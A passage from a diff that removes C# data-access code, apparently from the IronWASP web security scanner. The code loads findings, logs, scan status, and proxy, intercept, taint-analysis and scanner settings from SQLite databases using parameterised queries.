Session.GetIronSessionFromIronLogRecord(ILR, 0); - if (IrSe.Response != null) - { - PR.Triggers.Add(RequestTrigger, result["RequestTriggerDesc"].ToString(), IrSe.Request, ResponseTrigger, result["ResponseTriggerDesc"].ToString(), IrSe.Response); - } - else - { - PR.Triggers.Add(RequestTrigger, result["RequestTriggerDesc"].ToString(), IrSe.Request); - } - } - } - - if (PR.FromActiveScan) - { - try - { - cmd.CommandText = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM BaseLine WHERE FindingID=@FindingID LIMIT 1"; - cmd.Parameters.AddWithValue("@FindingID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (result.HasRows) - { - IronLogRecord ILR = new IronLogRecord(); - ILR.RequestHeaders = result["RequestHeaders"].ToString(); - ILR.RequestBody = result["RequestBody"].ToString(); - ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); - - ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); - ILR.ResponseBody = result["ResponseBody"].ToString(); - ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); - try - { - ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); - } - catch { } - Session IrSe = Session.GetIronSessionFromIronLogRecord(ILR, 0); - PR.BaseRequest = IrSe.Request; - PR.BaseResponse = IrSe.Response; - } - } - } - catch { } - } - - } - } - return PR; - } - - internal static IronException GetException(int ID) - { - IronException IrEx = null; - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ExceptionsLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Title, Message, StackTrace FROM Exceptions WHERE ID=@ID"; - cmd.Parameters.AddWithValue("@ID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - IrEx = new IronException(); - IrEx.Title = result["Title"].ToString(); - IrEx.Message = result["Message"].ToString(); - IrEx.StackTrace = result["StackTrace"].ToString(); - } - } - } - return IrEx; - } - - internal static string GetTraceMessage(int ID) - { - string Message = ""; - using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Message FROM Trace WHERE ID=@ID"; - cmd.Parameters.AddWithValue("@ID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - Message = result["Message"].ToString(); - } - } - } - return Message; - } - - internal static string GetScanTraceMessage(int ID) - { - string Message = ""; - using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Message FROM ScanTrace WHERE ID=@ID"; - cmd.Parameters.AddWithValue("@ID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - Message = result["Message"].ToString(); - } - } - } - return Message; - } - - internal static string[] GetScanTraceOverviewAndMessage(int ID) - { - string Message = ""; - string Overview = ""; - using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Message, OverviewXml FROM ScanTrace WHERE ID=@ID"; - cmd.Parameters.AddWithValue("@ID", ID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - Message = result["Message"].ToString(); - Overview = ""; - try - { - Overview = result["OverviewXml"].ToString(); - } - catch { } - } - } - } - return new string[]{Overview, Message}; - } - - internal static string GetScanStatus(int ScanID) - { - string Message = ""; - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - try - { - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "SELECT Status FROM ScanQueue WHERE ScanID=@ScanID"; - Cmd.Parameters.AddWithValue("@ScanID", ScanID); - using (SQLiteDataReader result = Cmd.ExecuteReader()) - { - Message = result["Status"].ToString(); - } - } - } - catch { } - } - return Message; - } - - #region UpdateConfigFromDB - internal static void UpdateProxyConfigFromDB() - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT LoopBack, SystemProxy, Port FROM IronProxy"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (result.HasRows) - { - if (result.Read()) - { - string Port = result["Port"].ToString(); - if (IronProxy.ValidProxyPort(Port)) - { - IronProxy.Port = Int32.Parse(Port); - } - else - { - IronProxy.Port = 8080; - } - IronProxy.LoopBackOnly = result["LoopBack"].ToString().Equals("1"); - IronProxy.SystemProxy = result["SystemProxy"].ToString().Equals("1"); - } - } - else - { - IronProxy.Port = 8080; - IronProxy.LoopBackOnly = true; - IronProxy.SystemProxy = false; - } - } - } - } - } - - internal static void UpdateUpstreamProxyConfigFromDB() - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Use, IP, Port FROM UpstreamProxy"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (result.HasRows) - { - if (result.Read()) - { - string Port = result["Port"].ToString(); - if (IronProxy.ValidPort(Port)) - { - IronProxy.UpstreamProxyPort = Int32.Parse(Port); - } - switch (result["Use"].ToString()) - { - case ("2"): - IronProxy.UseSystemProxyAsUpStreamProxy = true; - IronProxy.UseUpstreamProxy = false; - break; - case ("1"): - IronProxy.UseSystemProxyAsUpStreamProxy = false; - IronProxy.UseUpstreamProxy = true; - break; - case ("0"): - IronProxy.UseSystemProxyAsUpStreamProxy = false; - IronProxy.UseUpstreamProxy = false; - break; - } - string IP = result["IP"].ToString(); - if (IP.Length > 0) - { - IronProxy.UpstreamProxyIP = IP; - } - } - } - } - } - } - } - - internal static void UpdateRequestTextContentTypesConfigFromDB() - { - List RequestTextContentTypes = new List(); - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Type FROM TextRequestTypes"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - RequestTextContentTypes.Add(result["Type"].ToString()); - } - } - } - } - lock (Request.TextContentTypes) - { - Request.TextContentTypes.Clear(); - Request.TextContentTypes.AddRange(RequestTextContentTypes); - } - - } - - internal static void UpdateResponseTextContentTypesConfigFromDB() - { - List ResponseTextContentTypes = new List(); - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Type FROM TextResponseTypes"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - ResponseTextContentTypes.Add(result["Type"].ToString()); - } - } - } - } - lock (Response.TextContentTypes) - { - Response.TextContentTypes.Clear(); - Response.TextContentTypes.AddRange(ResponseTextContentTypes); - } - } - - internal static void UpdateScriptPathsConfigFromDB() - { - List PyPaths = new List(); - List RbPaths = new List(); - - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Path FROM PyPath"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - PyPaths.Add(result["Path"].ToString()); - } - } - - cmd.CommandText = "SELECT Path FROM RbPath"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - RbPaths.Add(result["Path"].ToString()); - } - } - } - } - - lock (IronScripting.PyPaths) - { - IronScripting.PyPaths.Clear(); - IronScripting.PyPaths.AddRange(PyPaths); - } - lock (IronScripting.RbPaths) - { - IronScripting.RbPaths.Clear(); - IronScripting.RbPaths.AddRange(RbPaths); - } - } - - internal static void UpdateScriptCommandsConfigFromDB() - { - List PyCommands = new List(); - List RbCommands = new List(); - - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Command FROM PyStartCommands"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - PyCommands.Add(result["Command"].ToString()); - } - } - - cmd.CommandText = "SELECT Command FROM RbStartCommands"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - RbCommands.Add(result["Command"].ToString()); - } - } - } - } - - lock (IronScripting.PyCommands) - { - IronScripting.PyCommands.Clear(); - IronScripting.PyCommands.AddRange(PyCommands); - } - lock (IronScripting.RbCommands) - { - IronScripting.RbCommands.Clear(); - IronScripting.RbCommands.AddRange(RbCommands); - } - } - - internal static void UpdateInterceptRulesFromDB() - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts, RequestKeyword, RequestKeywordPlus, RequestKeywordMinus, PlusRequestKeyword, MinusRequestKeyword, ResponseKeyword, ResponseKeywordPlus, ResponseKeywordMinus, PlusResponseKeyword, MinusResponseKeyword, RequestRulesOnResponse FROM InterceptRules"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (result.HasRows) - { - if (result.Read()) - { - IronProxy.InterceptGET = result["Get"].ToString().Equals("1"); - IronProxy.InterceptPOST = result["Post"].ToString().Equals("1"); - IronProxy.InterceptOtherMethods = result["OtherMethods"].ToString().Equals("1"); - IronProxy.InterceptHTML = result["Html"].ToString().Equals("1"); - IronProxy.InterceptJS = result["JS"].ToString().Equals("1"); - IronProxy.InterceptCSS = result["CSS"].ToString().Equals("1"); - IronProxy.InterceptXML = result["Xml"].ToString().Equals("1"); - IronProxy.InterceptJSON = result["Json"].ToString().Equals("1"); - IronProxy.InterceptOtherText = result["OtherText"].ToString().Equals("1"); - IronProxy.InterceptImg = result["Img"].ToString().Equals("1"); - IronProxy.InterceptOtherBinary = result["OtherBinary"].ToString().Equals("1"); - IronProxy.Intercept200 = result["Code200"].ToString().Equals("1"); - IronProxy.Intercept2xx = result["Code2xx"].ToString().Equals("1"); - IronProxy.Intercept301_2 = result["Code301_2"].ToString().Equals("1"); - IronProxy.Intercept3xx = result["Code3xx"].ToString().Equals("1"); - IronProxy.Intercept403 = result["Code403"].ToString().Equals("1"); - IronProxy.Intercept4xx = result["Code4xx"].ToString().Equals("1"); - IronProxy.Intercept500 = result["Code500"].ToString().Equals("1"); - IronProxy.Intercept5xx = result["Code5xx"].ToString().Equals("1"); - IronProxy.InterceptCheckFileExtensions = result["FileExt"].ToString().Equals("1"); - IronProxy.InterceptCheckFileExtensionsPlus = result["FileExtPlus"].ToString().Equals("1"); - IronProxy.InterceptCheckFileExtensionsMinus = result["FileExtMinus"].ToString().Equals("1"); - string[] PlusFileExtentions = result["PlusFileExts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.InterceptFileExtensions) - { - IronProxy.InterceptFileExtensions.Clear(); - IronProxy.InterceptFileExtensions.AddRange(PlusFileExtentions); - } - string[] MinusFileExtentions = result["MinusFileExts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.DontInterceptFileExtensions) - { - IronProxy.DontInterceptFileExtensions.Clear(); - IronProxy.DontInterceptFileExtensions.AddRange(MinusFileExtentions); - } - - IronProxy.InterceptCheckHostNames = result["Host"].ToString().Equals("1"); - IronProxy.InterceptCheckHostNamesPlus = result["HostPlus"].ToString().Equals("1"); - IronProxy.InterceptCheckHostNamesMinus = result["HostMinus"].ToString().Equals("1"); - string[] PlusHostNames = result["PlusHosts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.InterceptHostNames) - { - IronProxy.InterceptHostNames.Clear(); - IronProxy.InterceptHostNames.AddRange(PlusHostNames); - } - string[] MinusHostNames = result["MinusHosts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.DontInterceptHostNames) - { - IronProxy.DontInterceptHostNames.Clear(); - IronProxy.DontInterceptHostNames.AddRange(MinusHostNames); - } - - IronProxy.InterceptCheckRequestWithKeyword = result["RequestKeyword"].ToString().Equals("1"); - IronProxy.InterceptCheckRequestWithKeywordPlus = result["RequestKeywordPlus"].ToString().Equals("1"); - IronProxy.InterceptCheckRequestWithKeywordMinus = result["RequestKeywordMinus"].ToString().Equals("1"); - IronProxy.InterceptRequestWithKeyword = result["PlusRequestKeyword"].ToString(); - IronProxy.DontInterceptRequestWithKeyword = result["MinusRequestKeyword"].ToString(); - - IronProxy.InterceptCheckResponseWithKeyword = result["ResponseKeyword"].ToString().Equals("1"); - IronProxy.InterceptCheckResponseWithKeywordPlus = result["ResponseKeywordPlus"].ToString().Equals("1"); - IronProxy.InterceptCheckResponseWithKeywordMinus = result["ResponseKeywordMinus"].ToString().Equals("1"); - IronProxy.InterceptResponseWithKeyword = result["PlusResponseKeyword"].ToString(); - IronProxy.DontInterceptResponseWithKeyword = result["MinusResponseKeyword"].ToString(); - - IronProxy.RequestRulesOnResponse = result["RequestRulesOnResponse"].ToString().Equals("1"); - - } - } - } - } - } - } - - internal static void UpdateDisplayRulesFromDB() - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts FROM DisplayRules"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (result.HasRows) - { - if (result.Read()) - { - IronProxy.DisplayGET = result["Get"].ToString().Equals("1"); - IronProxy.DisplayPOST = result["Post"].ToString().Equals("1"); - IronProxy.DisplayOtherMethods = result["OtherMethods"].ToString().Equals("1"); - IronProxy.DisplayHTML = result["Html"].ToString().Equals("1"); - IronProxy.DisplayJS = result["JS"].ToString().Equals("1"); - IronProxy.DisplayCSS = result["CSS"].ToString().Equals("1"); - IronProxy.DisplayXML = result["Xml"].ToString().Equals("1"); - IronProxy.DisplayJSON = result["Json"].ToString().Equals("1"); - IronProxy.DisplayOtherText = result["OtherText"].ToString().Equals("1"); - IronProxy.DisplayImg = result["Img"].ToString().Equals("1"); - IronProxy.DisplayOtherBinary = result["OtherBinary"].ToString().Equals("1"); - IronProxy.Display200 = result["Code200"].ToString().Equals("1"); - IronProxy.Display2xx = result["Code2xx"].ToString().Equals("1"); - IronProxy.Display301_2 = result["Code301_2"].ToString().Equals("1"); - IronProxy.Display3xx = result["Code3xx"].ToString().Equals("1"); - IronProxy.Display403 = result["Code403"].ToString().Equals("1"); - IronProxy.Display4xx = result["Code4xx"].ToString().Equals("1"); - IronProxy.Display500 = result["Code500"].ToString().Equals("1"); - IronProxy.Display5xx = result["Code5xx"].ToString().Equals("1"); - - IronProxy.DisplayCheckFileExtensions = result["FileExt"].ToString().Equals("1"); - IronProxy.DisplayCheckFileExtensionsPlus = result["FileExtPlus"].ToString().Equals("1"); - IronProxy.DisplayCheckFileExtensionsMinus = result["FileExtMinus"].ToString().Equals("1"); - - string[] PlusFileExtentions = result["PlusFileExts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.DisplayFileExtensions) - { - IronProxy.DisplayFileExtensions.Clear(); - IronProxy.DisplayFileExtensions.AddRange(PlusFileExtentions); - } - string[] MinusFileExtentions = result["MinusFileExts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.DontDisplayFileExtensions) - { - IronProxy.DontDisplayFileExtensions.Clear(); - IronProxy.DontDisplayFileExtensions.AddRange(MinusFileExtentions); - } - - IronProxy.DisplayCheckHostNames = result["Host"].ToString().Equals("1"); - IronProxy.DisplayCheckHostNamesPlus = result["HostPlus"].ToString().Equals("1"); - IronProxy.DisplayCheckHostNamesMinus = result["HostMinus"].ToString().Equals("1"); - string[] PlusHostNames = result["PlusHosts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.DisplayHostNames) - { - IronProxy.DisplayHostNames.Clear(); - IronProxy.DisplayHostNames.AddRange(PlusHostNames); - } - string[] MinusHostNames = result["MinusHosts"].ToString().Split(new char[] { ',' }); - lock (IronProxy.DontDisplayHostNames) - { - IronProxy.DontDisplayHostNames.Clear(); - IronProxy.DontDisplayHostNames.AddRange(MinusHostNames); - } - } - } - } - } - } - } - - internal static void UpdateJSTaintConfigFromDB() - { - List DefaultSourceObjects = new List(); - List DefaultSinkObjects = new List(); - List DefaultSourceReturningMethods = new List() { }; - List DefaultSinkReturningMethods = new List() { }; - List DefaultArgumentReturningMethods = new List() { }; - List DefaultArgumentAssignedToSinkMethods = new List(); - List DefaultArgumentAssignedASourceMethods = new List() { }; - - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT SourceObjects, SinkObjects, ArgumentAssignedASourceMethods, ArgumentAssignedToSinkMethods, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods FROM JSTaintConfig"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - if (result.HasRows) - { - while (result.Read()) - { - if (result["SourceObjects"].ToString().Length > 0) DefaultSourceObjects.Add(result["SourceObjects"].ToString()); - if (result["SinkObjects"].ToString().Length > 0) DefaultSinkObjects.Add(result["SinkObjects"].ToString()); - if (result["ArgumentAssignedASourceMethods"].ToString().Length > 0) DefaultArgumentAssignedASourceMethods.Add(result["ArgumentAssignedASourceMethods"].ToString()); - if (result["ArgumentAssignedToSinkMethods"].ToString().Length > 0) DefaultArgumentAssignedToSinkMethods.Add(result["ArgumentAssignedToSinkMethods"].ToString()); - if (result["SourceReturningMethods"].ToString().Length > 0) DefaultSourceReturningMethods.Add(result["SourceReturningMethods"].ToString()); - if (result["SinkReturningMethods"].ToString().Length > 0) DefaultSinkReturningMethods.Add(result["SinkReturningMethods"].ToString()); - if (result["ArgumentReturningMethods"].ToString().Length > 0) DefaultArgumentReturningMethods.Add(result["ArgumentReturningMethods"].ToString()); - } - } - } - } - } - - lock (IronJint.DefaultSourceObjects) - { - IronJint.DefaultSourceObjects = new List(DefaultSourceObjects); - } - lock (IronJint.DefaultSinkObjects) - { - IronJint.DefaultSinkObjects = new List(DefaultSinkObjects); - } - lock (IronJint.DefaultArgumentAssignedASourceMethods) - { - IronJint.DefaultArgumentAssignedASourceMethods = new List(DefaultArgumentAssignedASourceMethods); - } - lock (IronJint.DefaultArgumentAssignedToSinkMethods) - { - IronJint.DefaultArgumentAssignedToSinkMethods = new List(DefaultArgumentAssignedToSinkMethods); - } - lock (IronJint.DefaultSourceReturningMethods) - { - IronJint.DefaultSourceReturningMethods = new List(DefaultSourceReturningMethods); - } - lock (IronJint.DefaultSinkReturningMethods) - { - IronJint.DefaultSinkReturningMethods = new List(DefaultSinkReturningMethods); - } - lock (IronJint.DefaultArgumentReturningMethods) - { - IronJint.DefaultArgumentReturningMethods = new List(DefaultArgumentReturningMethods); - } - } - - internal static void UpdateScannerSettingsFromDB() - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT MaxScannerThreads, MaxCrawlerThreads, UserAgent FROM ScannerSettings"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - - if (result.HasRows) - { - try - { - Scanner.MaxParallelScanCount = Int32.Parse(result["MaxScannerThreads"].ToString()); - } - catch { } - try - { - Crawler.MaxCrawlThreads = Int32.Parse(result["MaxCrawlerThreads"].ToString()); - } - catch { } - Crawler.UserAgent = result["UserAgent"].ToString(); - } - } - } - } - } - - internal static void UpdatePassiveAnalysisSettingsFromDB() - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Proxy, Shell, Test, Scan, Probe FROM PassiveAnalysisSettings"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - - if (result.HasRows) - { - try - { - PassiveChecker.RunOnProxyTraffic = Int32.Parse(result["Proxy"].ToString()) == 1; - } - catch { } - try - { - PassiveChecker.RunOnShellTraffic = Int32.Parse(result["Shell"].ToString()) == 1; - } - catch { } - try - { - PassiveChecker.RunOnTestTraffic = Int32.Parse(result["Test"].ToString()) == 1; - } - catch { } - try - { - PassiveChecker.RunOnShellTraffic = Int32.Parse(result["Shell"].ToString()) == 1; - } - catch { } - try - { - PassiveChecker.RunOnProbeTraffic = Int32.Parse(result["Probe"].ToString()) == 1; - } - catch { } - } - } - } - } - } - - internal static void UpdateParametersBlackListFromDB() - { - try - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ParameterSection, ParameterName FROM ParametersBlackList"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - StartScanJobWizard.ParametersBlackList = new List(); - if (result.HasRows) - { - while (result.Read()) - { - StartScanJobWizard.ParametersBlackList.Add(result["ParameterName"].ToString()); - } - } - } - } - } - } - catch(Exception Exp) - { - IronException.Report("Unable to read ParametersBlackList from the config file", Exp); - } - } - - internal static void UpdateCharacterEscapingRulesFromDB() - { - try - { - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT RawCharacter, EncodedCharacter FROM CharacterEscapingRules"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - Scanner.UserSpecifiedEncodingRuleList = new List(); - if (result.HasRows) - { - while (result.Read()) - { - Scanner.UserSpecifiedEncodingRuleList.Add(new string[] { result["RawCharacter"].ToString(), result["EncodedCharacter"].ToString() }); - } - } - } - } - } - } - catch (Exception Exp) - { - IronException.Report("Unable to read CharacterEscapingRules from the config file", Exp); - } - } - - - internal static void UpdateConfigFromDB() - { - UpdateProxyConfigFromDB(); - UpdateUpstreamProxyConfigFromDB(); - UpdateRequestTextContentTypesConfigFromDB(); - UpdateResponseTextContentTypesConfigFromDB(); - UpdateScriptPathsConfigFromDB(); - UpdateScriptCommandsConfigFromDB(); - UpdateInterceptRulesFromDB(); - UpdateDisplayRulesFromDB(); - UpdateJSTaintConfigFromDB(); - UpdateScannerSettingsFromDB(); - UpdatePassiveAnalysisSettingsFromDB(); - UpdateCharacterEscapingRulesFromDB(); - UpdateParametersBlackListFromDB(); - } - #endregion - - //internal static List GetProxyLogRecords(int StartID) - //{ - // List ProxyLogRecords = new List(); - // SQLiteConnection DB = new SQLiteConnection("data source=" + ProxyLogFile); - // DB.Open(); - // SQLiteCommand cmd = DB.CreateCommand(); - // cmd.CommandText = "SELECT ID , SSL, HostName, Method, URL, Edited, File, Parameters, Code, Length, MIME, SetCookie, Notes, OriginalRequestHeaders FROM ProxyLog WHERE ID > @StartID LIMIT 1000"; - // cmd.Parameters.AddWithValue("@StartID", StartID); - // SQLiteDataReader result = cmd.ExecuteReader(); - // while (result.Read()) - // { - // LogRow LR = new LogRow(); - // try { LR.ID = Int32.Parse(result["ID"].ToString()); } - // catch { continue; } - // LR.Host = result["HostName"].ToString(); - // LR.Method = result["Method"].ToString(); - // LR.Url = result["URL"].ToString(); - // LR.File = result["File"].ToString(); - // LR.SSL = result["SSL"].ToString().Equals("1"); - // LR.Parameters = result["Parameters"].ToString(); - // try - // {LR.Code = Int32.Parse(result["Code"].ToString());} - // catch { LR.Code = -1; } - // try - // { LR.Length = Int32.Parse(result["Length"].ToString()); } - // catch { LR.Length = 0; } - // LR.Mime = result["MIME"].ToString(); - // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - // LR.Editied = result["Edited"].ToString().Equals("1"); - // LR.Notes = result["Notes"].ToString(); - // LR.OriginalRequestHeaders = result["OriginalRequestHeaders"].ToString(); - // ProxyLogRecords.Add(LR); - // } - // result.Close(); - // DB.Close(); - // return ProxyLogRecords; - //} - - //internal static List GetTestLogRecords(int StartID) - //{ - // List MTLogRecords = new List(); - // SQLiteConnection DB = new SQLiteConnection("data source=" + TestLogFile); - // DB.Open(); - // SQLiteCommand cmd = DB.CreateCommand(); - // cmd.CommandText = "SELECT ID, SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM TestLog WHERE ID > @StartID LIMIT 1000"; - // cmd.Parameters.AddWithValue("@StartID", StartID); - // SQLiteDataReader result = cmd.ExecuteReader(); - // while (result.Read()) - // { - // LogRow LR = new LogRow(); - // try { LR.ID = Int32.Parse(result["ID"].ToString()); } - // catch { continue; } - // LR.Host = result["HostName"].ToString(); - // LR.Method = result["Method"].ToString(); - // LR.Url = result["URL"].ToString(); - // LR.File = result["File"].ToString(); - // LR.SSL = result["SSL"].ToString().Equals("1"); - // LR.Parameters = result["Parameters"].ToString(); - // try - // { LR.Code = Int32.Parse(result["Code"].ToString()); } - // catch { LR.Code = -1; } - // try - // { LR.Length = Int32.Parse(result["Length"].ToString()); } - // catch { LR.Length = 0; } - // LR.Mime = result["MIME"].ToString(); - // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - // MTLogRecords.Add(LR); - // } - // result.Close(); - // DB.Close(); - // return MTLogRecords; - //} - - //internal static List GetShellLogRecords(int StartID) - //{ - // List ShellLogRecords = new List(); - // SQLiteConnection DB = new SQLiteConnection("data source=" + ShellLogFile); - // DB.Open(); - // SQLiteCommand cmd = DB.CreateCommand(); - // cmd.CommandText = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM ShellLog WHERE ID > @StartID LIMIT 1000"; - // cmd.Parameters.AddWithValue("@StartID", StartID); - // SQLiteDataReader result = cmd.ExecuteReader(); - // while (result.Read()) - // { - // LogRow LR = new LogRow(); - // try { LR.ID = Int32.Parse(result["ID"].ToString()); } - // catch { continue; } - // LR.Host = result["HostName"].ToString(); - // LR.Method = result["Method"].ToString(); - // LR.Url = result["URL"].ToString(); - // LR.File = result["File"].ToString(); - // LR.SSL = result["SSL"].ToString().Equals("1"); - // LR.Parameters = result["Parameters"].ToString(); - // try - // { LR.Code = Int32.Parse(result["Code"].ToString()); } - // catch { LR.Code = -1; } - // try - // { LR.Length = Int32.Parse(result["Length"].ToString()); } - // catch { LR.Length = 0; } - // LR.Mime = result["MIME"].ToString(); - // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - // ShellLogRecords.Add(LR); - // } - // result.Close(); - // DB.Close(); - // return ShellLogRecords; - //} - - //internal static List GetProbeLogRecords(int StartID) - //{ - // List ShellLogRecords = new List(); - // SQLiteConnection DB = new SQLiteConnection("data source=" + ProbeLogFile); - // DB.Open(); - // SQLiteCommand cmd = DB.CreateCommand(); - // cmd.CommandText = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM ProbeLog WHERE ID > @StartID LIMIT 1000"; - // cmd.Parameters.AddWithValue("@StartID", StartID); - // SQLiteDataReader result = cmd.ExecuteReader(); - // while (result.Read()) - // { - // LogRow LR = new LogRow(); - // try { LR.ID = Int32.Parse(result["ID"].ToString()); } - // catch { continue; } - // LR.Host = result["HostName"].ToString(); - // LR.Method = result["Method"].ToString(); - // LR.Url = result["URL"].ToString(); - // LR.File = result["File"].ToString(); - // LR.SSL = result["SSL"].ToString().Equals("1"); - // LR.Parameters = result["Parameters"].ToString(); - // try - // { LR.Code = Int32.Parse(result["Code"].ToString()); } - // catch { LR.Code = -1; } - // try - // { LR.Length = Int32.Parse(result["Length"].ToString()); } - // catch { LR.Length = 0; } - // LR.Mime = result["MIME"].ToString(); - // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - // ShellLogRecords.Add(LR); - // } - // result.Close(); - // DB.Close(); - // return ShellLogRecords; - //} - - //internal static List GetScanLogRecords(int StartID) - //{ - // List ScanLogRecords = new List(); - // SQLiteConnection DB = new SQLiteConnection("data source=" + ScanLogFile); - // DB.Open(); - // SQLiteCommand cmd = DB.CreateCommand(); - // cmd.CommandText = "SELECT ID , ScanID, SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM ScanLog WHERE ID > @StartID LIMIT 1000"; - // cmd.Parameters.AddWithValue("@StartID", StartID); - // SQLiteDataReader result = cmd.ExecuteReader(); - // while (result.Read()) - // { - // LogRow LR = new LogRow(); - // try { LR.ID = Int32.Parse(result["ID"].ToString()); } - // catch { continue; } - // try { LR.ScanID = Int32.Parse(result["ScanID"].ToString()); } - // catch { continue; } - // LR.Host = result["HostName"].ToString(); - // LR.Method = result["Method"].ToString(); - // LR.Url = result["URL"].ToString(); - // LR.File = result["File"].ToString(); - // LR.SSL = result["SSL"].ToString().Equals("1"); - // LR.Parameters = result["Parameters"].ToString(); - // try - // { LR.Code = Int32.Parse(result["Code"].ToString()); } - // catch { LR.Code = -1; } - // try - // { LR.Length = Int32.Parse(result["Length"].ToString()); } - // catch { LR.Length = 0; } - // LR.Mime = result["MIME"].ToString(); - // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); - // ScanLogRecords.Add(LR); - // } - // result.Close(); - // DB.Close(); - // return ScanLogRecords; - //} - - internal static List 